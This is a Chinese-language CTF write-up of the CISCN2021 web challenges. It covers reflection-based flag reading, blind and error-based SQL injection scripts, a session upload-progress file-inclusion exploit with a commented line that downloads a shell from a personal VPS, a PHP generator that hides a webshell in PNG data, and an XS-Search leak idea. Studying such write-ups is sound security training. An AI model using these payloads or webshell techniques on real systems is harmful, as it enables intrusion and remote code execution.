Contents

CISCN2021 Writeup

CISCN2021 Web 部分Writeup

easy_source

原题,ReflectionMethod 构造 User 类中的函数方法,再通过 getDocComment 获取函数的注释

提交参数:

1
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

爆破rb的值a-z,在q得到flag:

https://leonsec.gitee.io/images/image-20210515122304432.png

easy_sql

fuzz:

https://leonsec.gitee.io/images/image-bansdasdsads.png

sqlmap得到表名flag和一个列名id:报错加无列名注入

https://leonsec.gitee.io/images/image-20210515130056447.png

一开始用按位比较:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import requests
url = 'http://124.70.35.238:23511/'
def add(flag):
    res = ''
    res += flag
    return res
flag = ''
for i in range(1,200):
    for char in range(32, 127):
        hexchar = add(flag + chr(char))
        payload = "1') or (select 1,'NO','CISCN{JGHHS-JPD52-IJK4O-MGPDZ-DUFWI-')>=(select * from security.flag limit 1)#".format(hexchar)
        data = {"uname":"admin",'passwd':payload}
        r = requests.post(url=url, data=data)
        text = r.text
        if 'login<' in r.text:
            flag += chr(char-1)
            print(flag)
            break

到最后卡住了,换了无列名注入报错爆列名,然后直接报错注入:

https://leonsec.gitee.io/images/image-20210515131951311.png

1
2
3
4
5
6
7
8
admin')||extractvalue(1,concat(0x7e,(select * from (select * from flag as a join (select * from flag)b using(id,no))c)))#
//Duplicate column name 'e0f1d955-bbba-43c3-b078-a81b3fc4bf28'

admin')||(extractvalue(1,concat(0x7e,(select `e0f1d955-bbba-43c3-b078-a81b3fc4bf28` from security.flag),0x7e)))#
//XPATH syntax error: '~CISCN{JgHhs-jpd52-iJk4O-MGPDz-d'

admin')||(extractvalue(1,concat(0x7e,substr((select `e0f1d955-bbba-43c3-b078-a81b3fc4bf28` from security.flag),32,50),0x7e)))#
//XPATH syntax error: '~uFWI-}~'

middle_source

首页给了任意文件包含

扫目录得到.listing,得到you_can_seeeeeeee_me.php是phpinfo页面

有了phpinfo可以尝试直接向phpinfo页面传文件加垃圾数据,同时从phpinfo获取临时文件名进行文件包含,或者利用session.upload_progress进行session文件包含

前者尝试无效果

从phpinfo得到了session保存路径:/var/lib/php/sessions/fccecfeaje/

尝试发现可以出网,虽然ban了很多函数,但是可以直接用copy或file_get_contents下载shell

/etc/acfffacfch/iabhcgedde/facafcfjgf/adeejdbegg/fdceiadhce/fl444444g发现flag

https://leonsec.gitee.io/images/image-20210515185821338.png

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import threading

#file_content = '<?php print_r(scandir("/etc"));?>'
#file_content = '<?php copy("http://myvps/s.txt","/tmp/leon.php");echo "666666666";?>'
#s.txt是shell一句话
file_content = '<?php var_dump(file_get_contents("/etc/acfffacfch/iabhcgedde/facafcfjgf/adeejdbegg/fdceiadhce/fl444444g"));?>'

url='http://124.70.35.238:23579/'
r=requests.session()

def POST():
    while True:
        file={
            "upload":('<?php echo 999;?>', file_content, 'image/jpeg')
        }
        data={
            "PHP_SESSION_UPLOAD_PROGRESS":file_content
        }
        headers={
            "Cookie":'PHPSESSID=1234'
        }
        r.post(url,files=file,headers=headers,data=data)

def READ():
    while True:
        event.wait()
        t=r.post("http://124.70.35.238:23579/", data={"cf":'../../../../../../../../../../var/lib/php/sessions/fccecfeaje/sess_1234'})
        if len(t.text) < 2230:
            print('[+]retry')
        else:
            print(t.text)
            event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

https://leonsec.gitee.io/images/image-20210515185737528.png

upload

index.php上传文件,example.php解压zip后缀文件并将解压后的文件重新创建为新图片

第一个点,绕getimagesize函数获取的长宽限制,文件中只要包含:

1
2
#define width 1
#define height 1

即可

第二个点,绕过zip后缀中i的过滤,使用mb_strtolower函数的特性:

PHP :: Request #70072 :: Add a language avare uppercase/lowercase solution without need of locale change

上传时使用xxx.zİp,经过mb_strtolower后存到服务器的文件名变为xxx.zip

第三个点,上传后解压后的文件会被imagecreatefrompng函数进行重新生成新图片,普通图片马会被该函数给覆盖掉

所以需要利用PNG格式,向PLTE块写入数据,保证在重载后不变

可参考:imagecreatefrom-/png/analysis at master · hxer/imagecreatefrom-

分析底层源码可知, png signature 是不可能插入 php 代码的; IHDR 存储的是 png 的图片信息,有固定的长度和格式,程序会提取图片信息数据进行验证,很难插入 php 代码;而 PLTE 主要进行了 CRC 校验和颜色数合法性校验等简单的校验,那么很可能在 data 域插入 php 代码。

或者根据IDAT块的转换算法,直接向IDAT块中写入转换前的数据,经过imagecreatefrompng重载后,生成的新图片中出现了可以利用的恶意代码,网上找的exp,有兴趣的可以自己调一调,内容为<?=$_GET[0]($_POST[1]);?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1.png');
?>

了解这三点后,直接进行利用:

因为在比赛中,测试发现PLTE块还是被一定程度的改变,直接用上文的exp写IDAT块,但是题目ban了一堆函数,加上<?=$_GET[0]($_POST[1]);?>只能单参数执行,并不能拿到flag,所以打算直接静态探究一下PLTE块被转换的规律:

先生成插入了1234567890abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+字符串的txt,与含有#define xxx文件一同压缩,注意压缩时选择仅存储文件相关的选项,这样不会对#define xxx进行修改,上传后可以正常绕过getimagesize

https://leonsec.gitee.io/images/image-20210518232158057.png

压缩修改成test.zİp

https://leonsec.gitee.io/images/image-20210518232334869.png

上传成功后解压:

https://leonsec.gitee.io/images/image-20210518232502980.png

访问test.txt保存到本地查看:

https://leonsec.gitee.io/images/image-20210518232656893.png

发现如图的位置改变,于是算了一下长度,刚好能写GET的一句话,中间其余字符用注释符注释即可:

https://leonsec.gitee.io/images/image-20210518232857509.png

最后需要/*或者?>注释剩余字符或者闭合都行

1
.\poc_png.py -p "*/$<?=_GET/**/[fghijk;/*(/*rstuvw0])*/e$%^val/*+" -o test1.txt .\indexcolor.png

按上述步骤上传解压后,成功写入一句话:

https://leonsec.gitee.io/images/image-20210518233440358.png

蚁剑连上找到flag即可

babyblog

吐槽一下,这个题的bot没有队列,而且单线程,请求半天才给一个回显,凌晨bot被阻塞了,叫客服也没人回,去睡了两小时,起床后有了思路但是来不及了

虽然没法验证思路对不对:(,但应该没错了,犹豫就会败北

主要注意他给了个搜索功能,测了一下是对大小写敏感的,正常来说搜索功能是大小写不敏感的,加上templates文件夹下存在模板文件源码泄露,对XSS严格限制了,再加上题目描述,可以想到利用这个搜索功能进行XSLeak,也就是XS-Search,也算侧信道攻击

参考:XS-Search | XS-Leaks Wiki (xsleaks.dev)

根据题目描述猜测flag就在admin的blog页面,可能是title,也可能是content,不过没有区别,利用搜索功能对页面的检索,逐位爆破,成功返回200,传回vps,未匹配返回302跳转,基于此爆破flag

35C3 CTFfilemanager题目和这个类似,只不过利用点不同,这里是火狐,那道题利用的是chrome的错误页面chrome-error://chromewebdata/

大概就这么多